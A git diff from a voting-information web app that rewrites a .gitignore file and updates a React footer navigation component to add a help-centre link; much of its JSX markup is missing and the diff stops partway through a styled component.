diff --git a/.gitignore b/.gitignore
index 90cd55c41..37c9b67c0 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,194 +1,195 @@
-# This .gitignore file partially built from https://github.com/github/gitignore
-# and https://github.com/github/gitignore/blob/master/Node.gitignore
-
-# Ignore build files
-build
-build-live
-package-lock.json
-
-# TernJS
-###################
-.tern-project
-
-# Logs
-###################
-logs
-*.log
-npm-debug.log*
-
-# Runtime data
-###################
-pids
-*.pid
-*.seed
-
-# Directory for instrumented libs generated by jscoverage/JSCover
-###################
-lib-cov
-
-# Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files)
-###################
-.grunt
-
-# node-waf configuration
-###################
-.lock-wscript
-
-# Compiled binary addons (http://nodejs.org/api/addons.html)
-###################
-build/Release
-
-# Dependency directory
-###################
-# https://docs.npmjs.com/misc/faq#should-i-check-my-node-modules-folder-into-git
-node_modules
-
-# Optional npm cache directory
-###################
-.npm
-
-# Optional REPL history
-###################
-.node_repl_history
-
-# Compiled source #
-###################
-venv
-*.com
-*.class
-*.dll
-*.exe
-*.so
-
-# PyInstaller #
-# Usually these files are written by a python script from a template
-# before PyInstaller builds the exe, so as to inject date/other infos into it.
-###############
-*.manifest
-*.spec
-
-# Installer logs #
-##################
-pip-log.txt
-pip-delete-this-directory.txt
-
-# Unit test / coverage reports #
-################################
-htmlcov/
-.tox/
-.coverage
-.coverage.*
-.cache
-nosetests.xml
-coverage.xml
-*,cover
-
-# Translations #
-################
-*.mo
-*.pot
-
-# Sphinx documentation #
-########################
-docs/_build/
-
-# PyBuilder #
-#############
-target/
-
-# Packages #
-############
-# it's better to unpack these files and commit the raw source
-# git has its own built in compression methods
-*.7z
-*.dmg
-*.iso
-*.rar
-*.zip
-
-# OS generated files #
-######################
-.DS_Store
-.DS_Store?
-._*
-.Spotlight-V100
-.Trashes
-ehthumbs.db
-Thumbs.db
-.AppleDouble
-.LSOverride
-
-# SublimeText #
-###############
-# cache files for sublime text
-*.tmlanguage.cache
-*.tmPreferences.cache
-*.stTheme.cache
-
-# workspace files are user-specific
-*.sublime-workspace
-
-# project files should be checked into the repository, unless a significant
-# proportion of contributors will probably not be using SublimeText
-# *.sublime-project
-
-# sftp configuration file #
-###########################
-sftp-config.json
-
-# Pycharm #
-###########
-.idea
-
-# Vim / emacs #
-###############
-*.swp
-*.swo
-
-# Compass / Sass #
-##################
-.sass-cache
-
-# Heroku Related #
-##################
-staticfiles
-
-# Other #
-#########
-/geo/data/
-/**/migrations/*.py
-!/**/migrations/__init__.py
-srcCordova
-src/cert/*.*
-!src/cert/README.txt
-src/js/compileDate.js
-src/js/config.js
-src/js/config-qa.js
-src/js/config-www.js
-tests/browserstack/browserstack.config.js
-src/javascript/google-tag-manager.js
-src/javascript/google-tag-manager-qa.js
-src/javascript/google-tag-manager-www.js
-src/javascript/google-analytics.js
-src/javascript/google-analytics-qa.js
-src/javascript/google-analytics-www.js
-web_app/build/*
-*.crt
-*.key
-.vscode
-.gitattributes
-/yarn.lock
-server.csr
-tests/browserstack/wdio.conf.js
-tests/browserstack/wdio.conf.template
-tests/browserstack*/config/browserstack.config.js
-tests/browserstack*/capabilities/mobile.json
-tests/browserstack*/screenshots/
-storybook-static/
-compileDate.js.backup
-tests/browserstack_automation/config/googleDrive.config.js
-tests/browserstack_automation/config/googleDriveOAuth.config.js
-tests/browserstack_automation/config/googleDriveOAuthToken.json
-tests/browserstack_automation/apps/*
-tests/browserstack_automation/*.ipa
-tests/browserstack_automation/*.apk
+# This .gitignore file partially built from https://github.com/github/gitignore
+# and https://github.com/github/gitignore/blob/master/Node.gitignore
+
+# Ignore build files
+build
+build-live
+package-lock.json
+
+# TernJS
+###################
+.tern-project
+
+# Logs
+###################
+logs
+*.log
+npm-debug.log*
+
+# Runtime data
+###################
+pids
+*.pid
+*.seed
+
+# Directory for instrumented libs generated by jscoverage/JSCover
+###################
+lib-cov
+
+# Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files)
+###################
+.grunt
+
+# node-waf configuration
+###################
+.lock-wscript
+
+# Compiled binary addons (http://nodejs.org/api/addons.html)
+###################
+build/Release
+
+# Dependency directory
+###################
+# https://docs.npmjs.com/misc/faq#should-i-check-my-node-modules-folder-into-git
+node_modules
+
+# Optional npm cache directory
+###################
+.npm
+
+# Optional REPL history
+###################
+.node_repl_history
+
+# Compiled source #
+###################
+venv
+*.com
+*.class
+*.dll
+*.exe
+*.so
+
+# PyInstaller #
+# Usually these files are written by a python script from a template
+# before PyInstaller builds the exe, so as to inject date/other infos into it.
+###############
+*.manifest
+*.spec
+
+# Installer logs #
+##################
+pip-log.txt
+pip-delete-this-directory.txt
+
+# Unit test / coverage reports #
+################################
+htmlcov/
+.tox/
+.coverage
+.coverage.*
+.cache
+nosetests.xml
+coverage.xml
+*,cover
+
+# Translations #
+################
+*.mo
+*.pot
+
+# Sphinx documentation #
+########################
+docs/_build/
+
+# PyBuilder #
+#############
+target/
+
+# Packages #
+############
+# it's better to unpack these files and commit the raw source
+# git has its own built in compression methods
+*.7z
+*.dmg
+*.iso
+*.rar
+*.zip
+
+# OS generated files #
+######################
+.DS_Store
+.DS_Store?
+._*
+.Spotlight-V100
+.Trashes
+ehthumbs.db
+Thumbs.db
+.AppleDouble
+.LSOverride
+
+# SublimeText #
+###############
+# cache files for sublime text
+*.tmlanguage.cache
+*.tmPreferences.cache
+*.stTheme.cache
+
+# workspace files are user-specific
+*.sublime-workspace
+
+# project files should be checked into the repository, unless a significant
+# proportion of contributors will probably not be using SublimeText
+# *.sublime-project
+
+# sftp configuration file #
+###########################
+sftp-config.json
+
+# Pycharm #
+###########
+.idea
+
+# Vim / emacs #
+###############
+*.swp
+*.swo
+
+# Compass / Sass #
+##################
+.sass-cache
+
+# Heroku Related #
+##################
+staticfiles
+
+# Other #
+#########
+/geo/data/
+/**/migrations/*.py
+!/**/migrations/__init__.py
+srcCordova
+src/cert/*.*
+!src/cert/README.txt
+src/js/compileDate.js
+src/js/config.js
+src/js/config-qa.js
+src/js/config-www.js
+tests/browserstack/browserstack.config.js
+src/javascript/google-tag-manager.js
+src/javascript/google-tag-manager-qa.js
+src/javascript/google-tag-manager-www.js
+src/javascript/google-analytics.js
+src/javascript/google-analytics-qa.js
+src/javascript/google-analytics-www.js
+web_app/build/*
+*.crt
+*.key
+.vscode
+.gitattributes
+/yarn.lock
+server.csr
+tests/browserstack/wdio.conf.js
+tests/browserstack/wdio.conf.template
+tests/browserstack*/config/browserstack.config.js
+tests/browserstack*/capabilities/mobile.json
+tests/browserstack*/screenshots/
+storybook-static/
+compileDate.js.backup
+tests/browserstack_automation/config/googleDrive.config.js
+tests/browserstack_automation/config/googleDriveOAuth.config.js
+tests/browserstack_automation/config/googleDriveOAuthToken.json
+tests/browserstack_automation/apps/*
+tests/browserstack_automation/*.ipa
+tests/browserstack_automation/*.apk
+config.bat
diff --git a/src/js/components/Navigation/FooterBar.jsx b/src/js/components/Navigation/FooterBar.jsx
index e4d1f0786..2346c7bdb 100644
--- a/src/js/components/Navigation/FooterBar.jsx
+++ b/src/js/components/Navigation/FooterBar.jsx
@@ -1,514 +1,529 @@
-import { Article, CalendarMonth, Groups, Home, HowToVote, Info, MoreHoriz, People, QuestionAnswer, VerifiedUser } from '@mui/icons-material';
-import { Badge, BottomNavigation, BottomNavigationAction, ClickAwayListener } from '@mui/material';
-import withStyles from '@mui/styles/withStyles';
-import PropTypes from 'prop-types';
-import React, { Suspense } from 'react';
-import styled from 'styled-components';
-import DesignTokenColors from '../../common/components/Style/DesignTokenColors';
-import DelayedLoad from '../../common/components/Widgets/DelayedLoad';
-import signInModalGlobalState from '../../common/components/Widgets/signInModalGlobalState';
-import AppObservableStore, { messageService } from '../../common/stores/AppObservableStore';
-import { isIOS } from '../../common/utils/cordovaUtils';
-import historyPush from '../../common/utils/historyPush';
-import { normalizedHref } from '../../common/utils/hrefUtils';
-import { isAndroid, isCordova, isWebApp } from '../../common/utils/isCordovaOrWebApp';
-import { renderLog } from '../../common/utils/logging';
-import normalizedImagePath from '../../common/utils/normalizedImagePath';
-import stringContains from '../../common/utils/stringContains';
-import webAppConfig from '../../config';
-import FriendStore from '../../stores/FriendStore';
-import VoterStore from '../../stores/VoterStore';
-import { cordovaFooterHeight } from '../../utils/cordovaOffsets';
-import ShareButtonFooter from '../Share/ShareButtonFooter';
-
-const nextReleaseFeaturesEnabled = webAppConfig.ENABLE_NEXT_RELEASE_FEATURES === undefined ? false : webAppConfig.ENABLE_NEXT_RELEASE_FEATURES;
-
-const OpenExternalWebSite = React.lazy(() => import(/* webpackChunkName: 'OpenExternalWebSite' */ '../../common/components/Widgets/OpenExternalWebSite'));
-
-// It's not ideal to have two images, but this is a complex svg, and I couldn't figure out how to change the fill color with a variable
-const capitalBuilding = '/img/global/svg-icons/capital-building.svg';
-const capitalBuildingSelected = '/img/global/svg-icons/capital-building-selected.svg';
-const weVoteIcon = '/img/global/svg-icons/we-vote-icon-square-color-grey.svg';
-const weVoteIconSelected = '/img/global/svg-icons/we-vote-icon-square-color-dark.svg';
-
-
-function MoreMenuOverlay ({ anchorRef, classes, friendInvitationsSentToMeCount, onClose }) {
- const pathname = normalizedHref();
- const isAbout = pathname.includes('/more/faq');
- const isChallenges = pathname.includes('/challenges');
- const isDiscuss = pathname.includes('/news');
- const isElectionFinder = pathname.includes('/election-finder');
- const isFriends = pathname.includes('/friends');
- const isManage = pathname.includes('/manage') || pathname.includes('/no-candidates-claimed');
-
- // Ignore clicks on the More anchor so the button's own onChange owns toggling.
- const handleClickAway = (event) => {
- if (anchorRef && anchorRef.current && anchorRef.current.contains(event.target)) return;
- onClose();
- };
-
- return (
-
-
-
-
- {nextReleaseFeaturesEnabled && (
-
- )}
-
-
-
- {nextReleaseFeaturesEnabled && (
-
- )}
- {isWebApp() && (
- >}>
-
- )}
-
-
- );
-}
-MoreMenuOverlay.propTypes = {
- anchorRef: PropTypes.shape({ current: PropTypes.any }),
- classes: PropTypes.object.isRequired,
- friendInvitationsSentToMeCount: PropTypes.number.isRequired,
- onClose: PropTypes.func.isRequired,
-};
-
-class FooterBar extends React.Component {
- constructor (props) {
- super(props);
- this.anchorRef = React.createRef();
- this.state = {
- friendInvitationsSentToMeCount: 0,
- // inPrivateLabelMode: false, // setState onAppObservableStoreChange is not working sometimes for some reason
- showingOneCompleteYourProfileModal: false,
- showSignInModal: false,
- // voterIsSignedIn: false,
- };
- }
-
- componentDidMount () {
- this.onVoterStoreChange();
- this.appStateSubscription = messageService.getMessage().subscribe(() => this.onAppObservableStoreChange());
- this.friendStoreListener = FriendStore.addListener(this.onFriendStoreChange.bind(this));
- this.voterStoreListener = VoterStore.addListener(this.onVoterStoreChange.bind(this));
- const showingOneCompleteYourProfileModal = AppObservableStore.showingOneCompleteYourProfileModal();
- const showShareModal = AppObservableStore.showShareModal();
- const showSharedItemModal = AppObservableStore.showSharedItemModal();
- const showSignInModal = AppObservableStore.showSignInModal();
- const showVoterPlanModal = AppObservableStore.showVoterPlanModal();
- const friendInvitationsSentToMe = FriendStore.friendInvitationsSentToMe();
- const friendInvitationsSentToMeCount = (friendInvitationsSentToMe) ? friendInvitationsSentToMe.length : 0;
- this.setState({
- friendInvitationsSentToMeCount,
- // inPrivateLabelMode: AppObservableStore.getHideWeVoteLogo(), // Using this setting temporarily // setState onAppObservableStoreChange is not working sometimes for some reason
-
- showingOneCompleteYourProfileModal,
- showShareModal,
- showSharedItemModal,
- showSignInModal,
- showVoterPlanModal,
- });
- }
-
- componentWillUnmount () {
- this.appStateSubscription.unsubscribe();
- this.friendStoreListener.remove();
- this.voterStoreListener.remove();
- }
-
- onAppObservableStoreChange () {
- const showActivityTidbitDrawer = AppObservableStore.showActivityTidbitDrawer();
- const showingOneCompleteYourProfileModal = AppObservableStore.showingOneCompleteYourProfileModal();
- const showShareModal = AppObservableStore.showShareModal();
- const showSharedItemModal = AppObservableStore.showSharedItemModal();
- const showSignInModal = AppObservableStore.showSignInModal();
- const showVoterPlanModal = AppObservableStore.showVoterPlanModal();
- this.setState({
- // inPrivateLabelMode: AppObservableStore.getHideWeVoteLogo(), // Using this setting temporarily // setState onAppObservableStoreChange is not working sometimes for some reason
- showActivityTidbitDrawer,
- showingOneCompleteYourProfileModal,
- showShareModal,
- showSharedItemModal,
- showSignInModal,
- showVoterPlanModal,
- });
- }
-
- onFriendStoreChange () {
- if (!signInModalGlobalState.get('textOrEmailSignInInProcess')) {
- // console.log('FooterBar, onFriendStoreChange');
- const friendInvitationsSentToMe = FriendStore.friendInvitationsSentToMe();
- const friendInvitationsSentToMeCount = (friendInvitationsSentToMe) ? friendInvitationsSentToMe.length : 0;
- this.setState({
- friendInvitationsSentToMeCount,
- });
- }
- }
-
- onVoterStoreChange () {
- // const voter = VoterStore.getVoter();
- // const voterIsSignedIn = voter.is_signed_in || false;
- // this.setState({
- // voterIsSignedIn,
- // });
- }
-
- handleChange = (event, value) => {
- if (isCordova()) {
- const { impact } = window.TapticEngine;
- impact({
- style: 'heavy', // light | medium | heavy
- });
- }
- // In browser mobile, we can offer donate footer link
- // If NOT signed in, turn Discuss off and How It Works on
- // Regardless of whether visible or not the option's numerical position remains the same
- // console.log('FooterBar, handleChange value:', value);
- const showMoreMenuCurrentState = this.state.showMoreMenu || false;
- switch (value) {
- case 0:
- return historyPush('/ready');
- case 1:
- return historyPush('/ballot');
- case 2:
- return historyPush('/cs/');
- case 3:
- return historyPush('/donate');
- case 4:
- return this.setState({ showMoreMenu: !showMoreMenuCurrentState });
- default:
- return null;
- }
- };
-
- getSelectedTab = () => {
- const pathname = normalizedHref();
- const pathnameLowerCase = pathname.toLowerCase();
- if (pathname === '/') return 0; // readyLight has no path
- if (stringContains('/ready', pathnameLowerCase)) return 0;
- if (stringContains('/ballot', pathnameLowerCase)) return 1;
- if (pathnameLowerCase.endsWith('/cs/')) return 2;
- if (stringContains('/donate', pathnameLowerCase)) return 3;
- // Treat these as "More" so the More tab stays highlighted
- if (stringContains('/managecandidates', pathnameLowerCase)) return 4;
- if (stringContains('/no-candidates-claimed', pathnameLowerCase)) return 4;
- if (stringContains('/friends', pathnameLowerCase)) return 4;
- if (stringContains('/challenges', pathnameLowerCase)) return 4;
- if (stringContains('/+/', pathname) || stringContains('/++/', pathname)) return 4;
- if (stringContains('/squads', pathnameLowerCase)) return 4;
- if (stringContains('/news', pathnameLowerCase)) return 4;
- if (stringContains('/more', pathnameLowerCase)) return 4;
- return -1;
- };
-
- render () {
- renderLog('FooterBar'); // Set LOG_RENDER_EVENTS to log all renders
- const { classes } = this.props;
- const {
- friendInvitationsSentToMeCount,
- showActivityTidbitDrawer, showingOneCompleteYourProfileModal,
- showMoreMenu, showShareModal,
- showSharedItemModal, showSignInModal, showVoterPlanModal,
- } = this.state;
- const pathname = normalizedHref();
- const showShareButtonFooter = stringContains('/ballot', pathname.toLowerCase());
- const inPrivateLabelMode = AppObservableStore.getHideWeVoteLogo(); // setState onAppObservableStoreChange is not working sometimes for some reason
- // const badgeStyle = {
- // display: 'inline-block',
- // };
- const hideFooterBehindModal = showActivityTidbitDrawer || showingOneCompleteYourProfileModal || showShareModal || showSharedItemModal || showSignInModal || showVoterPlanModal;
- const defaultIconStyles = {
- '& .MuiBottomNavigationAction-root.Mui-selected, svg': {
- fontSize: 37,
- },
- '& .MuiBottomNavigationAction-label.Mui-selected': {
- fontSize: 16,
- fontWeight: 600,
- },
- '& .MuiBottomNavigationAction-root, svg': {
- fontSize: 35,
- },
- '& .MuiBottomNavigationAction-label': {
- fontSize: 16,
- },
- };
- const donateIconStyles = {
- '& .MuiBottomNavigationAction-root.Mui-selected, svg': {
- fontSize: 32,
- },
- '& .MuiBottomNavigationAction-label.Mui-selected': {
- fontSize: 16,
- fontWeight: 600,
- },
- '& .MuiBottomNavigationAction-root, svg': {
- fontSize: 30,
- },
- '& .MuiBottomNavigationAction-label': {
- fontSize: 16,
- marginBottom: '-4px',
- },
- };
-
- // console.log('friendInvitationsSentToMeCount:', friendInvitationsSentToMeCount);
- // If NOT signed in, turn Discuss off and How It Works on
- let donateVisible;
- if (inPrivateLabelMode) {
- donateVisible = false; // Turn off donate link if an org has private labeled WeVote
- } else {
- donateVisible = true; // 2025-06-17 Enabling donations, we hear it is now permissible for nonprofits in iOS & Android
- // console.log('--------- Footer bar donateVisible ', donateVisible, 'squadsVisible', squadsVisible);
- }
-
- return (
-
- {showShareButtonFooter && (
-
-
-
- )}
-
-
- );
- }
-}
-FooterBar.propTypes = {
- classes: PropTypes.object,
-};
-
-const styles = () => ({
- footerFriendsNotificationBadge: {
- backgroundColor: DesignTokenColors.alert400,
- fontSize: 10,
- height: 15,
- marginRight: 0,
- marginTop: 5,
- minWidth: 15,
- width: 15,
- },
-});
-
-const BadgeCountWrapper = styled('span')(({ theme }) => (`
- display: flex;
- justify-content: center;
- margin-bottom: 3px;
- padding-top: 0;
- ${theme.breakpoints.down('md')} {
- padding-top: 1px;
- }
-`));
-
-const FooterBarWrapperFooterBar = styled('div')`
- @media print{
- display: none;
- }
-`;
-
-const FooterContainer = styled('div')`
- background: ${DesignTokenColors.whiteUI}; ;
- border-top: 1px solid ${DesignTokenColors.neutralUI50};
- bottom: 0;
- box-shadow: 0 -4px 4px -1px rgba(0, 0, 0, 0.2), 0 -4px 5px 0 rgba(0, 0, 0, 0.14), 0 -1px 10px 0 rgba(0, 0, 0, 0.12);
- padding-left: 0;
- position: fixed;
- width: 100%;
- left: 0;
- ${!isAndroid() ? 'padding-bottom: env(safe-area-inset-bottom)' : ''};
-`;
-
-const Overlay = styled.div`
- align-items: stretch;
- background: ${DesignTokenColors.whiteUI};
- border: 1px solid ${DesignTokenColors.neutralUI100};
- border-radius: 10px;
- bottom: 56px;
- box-shadow: 0 8px 24px rgba(0,0,0,.1);
- display: flex;
- flex-wrap: wrap;
- gap: 12px;
- justify-content: center;
- position: fixed;
- right: 8px;
- transition: opacity .2s ease;
- z-index: 9999;
-`;
-
-const MenuItem = styled.div`
- border-radius: 10px;
- color: ${({ $active }) => ($active ? 'rgb(32, 109, 179)' : DesignTokenColors.neutralUI600)};
- cursor: pointer;
- align-items: center;
- display: inline-flex;
- flex-direction: column;
- font-size: 16px;
- justify-content: center;
- line-height: 1.2;
- min-height: 84px;
- min-width: 88px;
- padding: 8px 10px;
- text-align: center;
- svg {
- height: 40px;
- width: 40px;
- margin-bottom: 6px;
- }
- img {
- width: 40px;
- }
-`;
-
-export default withStyles(styles)(FooterBar);
+import { Article, CalendarMonth, Groups, Home, HowToVote, Info, MoreHoriz, People, QuestionAnswer, Support, VerifiedUser } from '@mui/icons-material';
+import { Badge, BottomNavigation, BottomNavigationAction, ClickAwayListener } from '@mui/material';
+import withStyles from '@mui/styles/withStyles';
+import PropTypes from 'prop-types';
+import React, { Suspense } from 'react';
+import styled from 'styled-components';
+import DesignTokenColors from '../../common/components/Style/DesignTokenColors';
+import DelayedLoad from '../../common/components/Widgets/DelayedLoad';
+import signInModalGlobalState from '../../common/components/Widgets/signInModalGlobalState';
+import AppObservableStore, { messageService } from '../../common/stores/AppObservableStore';
+import { isIOS } from '../../common/utils/cordovaUtils';
+import historyPush from '../../common/utils/historyPush';
+import { normalizedHref } from '../../common/utils/hrefUtils';
+import { isAndroid, isCordova, isWebApp } from '../../common/utils/isCordovaOrWebApp';
+import { renderLog } from '../../common/utils/logging';
+import normalizedImagePath from '../../common/utils/normalizedImagePath';
+import stringContains from '../../common/utils/stringContains';
+import webAppConfig from '../../config';
+import FriendStore from '../../stores/FriendStore';
+import VoterStore from '../../stores/VoterStore';
+import { cordovaFooterHeight } from '../../utils/cordovaOffsets';
+import ShareButtonFooter from '../Share/ShareButtonFooter';
+
+const nextReleaseFeaturesEnabled = webAppConfig.ENABLE_NEXT_RELEASE_FEATURES === undefined ? false : webAppConfig.ENABLE_NEXT_RELEASE_FEATURES;
+
+const OpenExternalWebSite = React.lazy(() => import(/* webpackChunkName: 'OpenExternalWebSite' */ '../../common/components/Widgets/OpenExternalWebSite'));
+
+// It's not ideal to have two images, but this is a complex svg, and I couldn't figure out how to change the fill color with a variable
+const capitalBuilding = '/img/global/svg-icons/capital-building.svg';
+const capitalBuildingSelected = '/img/global/svg-icons/capital-building-selected.svg';
+const weVoteIcon = '/img/global/svg-icons/we-vote-icon-square-color-grey.svg';
+const weVoteIconSelected = '/img/global/svg-icons/we-vote-icon-square-color-dark.svg';
+const weVoteHelpUrl = 'https://help.wevote.us/hc/en-us';
+
+
+function MoreMenuOverlay ({ anchorRef, classes, friendInvitationsSentToMeCount, onClose }) {
+ const pathname = normalizedHref();
+ const isAbout = pathname.includes('/more/faq');
+ const isChallenges = pathname.includes('/challenges');
+ const isDiscuss = pathname.includes('/news');
+ const isElectionFinder = pathname.includes('/election-finder');
+ const isFriends = pathname.includes('/friends');
+ const isManage = pathname.includes('/manage') || pathname.includes('/no-candidates-claimed');
+
+ // Ignore clicks on the More anchor so the button's own onChange owns toggling.
+ const handleClickAway = (event) => {
+ if (anchorRef && anchorRef.current && anchorRef.current.contains(event.target)) return;
+ onClose();
+ };
+
+ return (
+
+
+
+
+ >}>
+
+ {nextReleaseFeaturesEnabled && (
+
+ )}
+
+
+
+ {nextReleaseFeaturesEnabled && (
+
+ )}
+ {isWebApp() && (
+ >}>
+
+ )}
+
+
+ );
+}
+MoreMenuOverlay.propTypes = {
+ anchorRef: PropTypes.shape({ current: PropTypes.any }),
+ classes: PropTypes.object.isRequired,
+ friendInvitationsSentToMeCount: PropTypes.number.isRequired,
+ onClose: PropTypes.func.isRequired,
+};
+
+class FooterBar extends React.Component {
+ constructor (props) {
+ super(props);
+ this.anchorRef = React.createRef();
+ this.state = {
+ friendInvitationsSentToMeCount: 0,
+ // inPrivateLabelMode: false, // setState onAppObservableStoreChange is not working sometimes for some reason
+ showingOneCompleteYourProfileModal: false,
+ showSignInModal: false,
+ // voterIsSignedIn: false,
+ };
+ }
+
+ componentDidMount () {
+ this.onVoterStoreChange();
+ this.appStateSubscription = messageService.getMessage().subscribe(() => this.onAppObservableStoreChange());
+ this.friendStoreListener = FriendStore.addListener(this.onFriendStoreChange.bind(this));
+ this.voterStoreListener = VoterStore.addListener(this.onVoterStoreChange.bind(this));
+ const showingOneCompleteYourProfileModal = AppObservableStore.showingOneCompleteYourProfileModal();
+ const showShareModal = AppObservableStore.showShareModal();
+ const showSharedItemModal = AppObservableStore.showSharedItemModal();
+ const showSignInModal = AppObservableStore.showSignInModal();
+ const showVoterPlanModal = AppObservableStore.showVoterPlanModal();
+ const friendInvitationsSentToMe = FriendStore.friendInvitationsSentToMe();
+ const friendInvitationsSentToMeCount = (friendInvitationsSentToMe) ? friendInvitationsSentToMe.length : 0;
+ this.setState({
+ friendInvitationsSentToMeCount,
+ // inPrivateLabelMode: AppObservableStore.getHideWeVoteLogo(), // Using this setting temporarily // setState onAppObservableStoreChange is not working sometimes for some reason
+
+ showingOneCompleteYourProfileModal,
+ showShareModal,
+ showSharedItemModal,
+ showSignInModal,
+ showVoterPlanModal,
+ });
+ }
+
+ componentWillUnmount () {
+ this.appStateSubscription.unsubscribe();
+ this.friendStoreListener.remove();
+ this.voterStoreListener.remove();
+ }
+
+ onAppObservableStoreChange () {
+ const showActivityTidbitDrawer = AppObservableStore.showActivityTidbitDrawer();
+ const showingOneCompleteYourProfileModal = AppObservableStore.showingOneCompleteYourProfileModal();
+ const showShareModal = AppObservableStore.showShareModal();
+ const showSharedItemModal = AppObservableStore.showSharedItemModal();
+ const showSignInModal = AppObservableStore.showSignInModal();
+ const showVoterPlanModal = AppObservableStore.showVoterPlanModal();
+ this.setState({
+ // inPrivateLabelMode: AppObservableStore.getHideWeVoteLogo(), // Using this setting temporarily // setState onAppObservableStoreChange is not working sometimes for some reason
+ showActivityTidbitDrawer,
+ showingOneCompleteYourProfileModal,
+ showShareModal,
+ showSharedItemModal,
+ showSignInModal,
+ showVoterPlanModal,
+ });
+ }
+
+ onFriendStoreChange () {
+ if (!signInModalGlobalState.get('textOrEmailSignInInProcess')) {
+ // console.log('FooterBar, onFriendStoreChange');
+ const friendInvitationsSentToMe = FriendStore.friendInvitationsSentToMe();
+ const friendInvitationsSentToMeCount = (friendInvitationsSentToMe) ? friendInvitationsSentToMe.length : 0;
+ this.setState({
+ friendInvitationsSentToMeCount,
+ });
+ }
+ }
+
+ onVoterStoreChange () {
+ // const voter = VoterStore.getVoter();
+ // const voterIsSignedIn = voter.is_signed_in || false;
+ // this.setState({
+ // voterIsSignedIn,
+ // });
+ }
+
+ handleChange = (event, value) => {
+ if (isCordova()) {
+ const { impact } = window.TapticEngine;
+ impact({
+ style: 'heavy', // light | medium | heavy
+ });
+ }
+ // In browser mobile, we can offer donate footer link
+ // If NOT signed in, turn Discuss off and How It Works on
+ // Regardless of whether visible or not the option's numerical position remains the same
+ // console.log('FooterBar, handleChange value:', value);
+ const showMoreMenuCurrentState = this.state.showMoreMenu || false;
+ switch (value) {
+ case 0:
+ return historyPush('/ready');
+ case 1:
+ return historyPush('/ballot');
+ case 2:
+ return historyPush('/cs/');
+ case 3:
+ return historyPush('/donate');
+ case 4:
+ return this.setState({ showMoreMenu: !showMoreMenuCurrentState });
+ default:
+ return null;
+ }
+ };
+
+ getSelectedTab = () => {
+ const pathname = normalizedHref();
+ const pathnameLowerCase = pathname.toLowerCase();
+ if (pathname === '/') return 0; // readyLight has no path
+ if (stringContains('/ready', pathnameLowerCase)) return 0;
+ if (stringContains('/ballot', pathnameLowerCase)) return 1;
+ if (pathnameLowerCase.endsWith('/cs/')) return 2;
+ if (stringContains('/donate', pathnameLowerCase)) return 3;
+ // Treat these as "More" so the More tab stays highlighted
+ if (stringContains('/managecandidates', pathnameLowerCase)) return 4;
+ if (stringContains('/no-candidates-claimed', pathnameLowerCase)) return 4;
+ if (stringContains('/friends', pathnameLowerCase)) return 4;
+ if (stringContains('/challenges', pathnameLowerCase)) return 4;
+ if (stringContains('/+/', pathname) || stringContains('/++/', pathname)) return 4;
+ if (stringContains('/squads', pathnameLowerCase)) return 4;
+ if (stringContains('/news', pathnameLowerCase)) return 4;
+ if (stringContains('/more', pathnameLowerCase)) return 4;
+ return -1;
+ };
+
+ render () {
+ renderLog('FooterBar'); // Set LOG_RENDER_EVENTS to log all renders
+ const { classes } = this.props;
+ const {
+ friendInvitationsSentToMeCount,
+ showActivityTidbitDrawer, showingOneCompleteYourProfileModal,
+ showMoreMenu, showShareModal,
+ showSharedItemModal, showSignInModal, showVoterPlanModal,
+ } = this.state;
+ const pathname = normalizedHref();
+ const showShareButtonFooter = stringContains('/ballot', pathname.toLowerCase());
+ const inPrivateLabelMode = AppObservableStore.getHideWeVoteLogo(); // setState onAppObservableStoreChange is not working sometimes for some reason
+ // const badgeStyle = {
+ // display: 'inline-block',
+ // };
+ const hideFooterBehindModal = showActivityTidbitDrawer || showingOneCompleteYourProfileModal || showShareModal || showSharedItemModal || showSignInModal || showVoterPlanModal;
+ const defaultIconStyles = {
+ '& .MuiBottomNavigationAction-root.Mui-selected, svg': {
+ fontSize: 37,
+ },
+ '& .MuiBottomNavigationAction-label.Mui-selected': {
+ fontSize: 16,
+ fontWeight: 600,
+ },
+ '& .MuiBottomNavigationAction-root, svg': {
+ fontSize: 35,
+ },
+ '& .MuiBottomNavigationAction-label': {
+ fontSize: 16,
+ },
+ };
+ const donateIconStyles = {
+ '& .MuiBottomNavigationAction-root.Mui-selected, svg': {
+ fontSize: 32,
+ },
+ '& .MuiBottomNavigationAction-label.Mui-selected': {
+ fontSize: 16,
+ fontWeight: 600,
+ },
+ '& .MuiBottomNavigationAction-root, svg': {
+ fontSize: 30,
+ },
+ '& .MuiBottomNavigationAction-label': {
+ fontSize: 16,
+ marginBottom: '-4px',
+ },
+ };
+
+ // console.log('friendInvitationsSentToMeCount:', friendInvitationsSentToMeCount);
+ // If NOT signed in, turn Discuss off and How It Works on
+ let donateVisible;
+ if (inPrivateLabelMode) {
+ donateVisible = false; // Turn off donate link if an org has private labeled WeVote
+ } else {
+ donateVisible = true; // 2025-06-17 Enabling donations, we hear it is now permissible for nonprofits in iOS & Android
+ // console.log('--------- Footer bar donateVisible ', donateVisible, 'squadsVisible', squadsVisible);
+ }
+
+ return (
+
+ {showShareButtonFooter && (
+
+
+
+ )}
+
+
+ );
+ }
+}
+FooterBar.propTypes = {
+ classes: PropTypes.object,
+};
+
+const styles = () => ({
+ footerFriendsNotificationBadge: {
+ backgroundColor: DesignTokenColors.alert400,
+ fontSize: 10,
+ height: 15,
+ marginRight: 0,
+ marginTop: 5,
+ minWidth: 15,
+ width: 15,
+ },
+});
+
+const BadgeCountWrapper = styled('span')(({ theme }) => (`
+ display: flex;
+ justify-content: center;
+ margin-bottom: 3px;
+ padding-top: 0;
+ ${theme.breakpoints.down('md')} {
+ padding-top: 1px;
+ }
+`));
+
+const FooterBarWrapperFooterBar = styled('div')`
+ @media print{
+ display: none;
+ }
+`;
+
+const FooterContainer = styled('div')`
+ background: ${DesignTokenColors.whiteUI}; ;
+ border-top: 1px solid ${DesignTokenColors.neutralUI50};
+ bottom: 0;
+ box-shadow: 0 -4px 4px -1px rgba(0, 0, 0, 0.2), 0 -4px 5px 0 rgba(0, 0, 0, 0.14), 0 -1px 10px 0 rgba(0, 0, 0, 0.12);
+ padding-left: 0;
+ position: fixed;
+ width: 100%;
+ left: 0;
+ ${!isAndroid() ? 'padding-bottom: env(safe-area-inset-bottom)' : ''};
+`;
+
+const Overlay = styled.div`
+ align-items: stretch;
+ background: ${DesignTokenColors.whiteUI};
+ border: 1px solid ${DesignTokenColors.neutralUI100};
+ border-radius: 10px;
+ bottom: 56px;
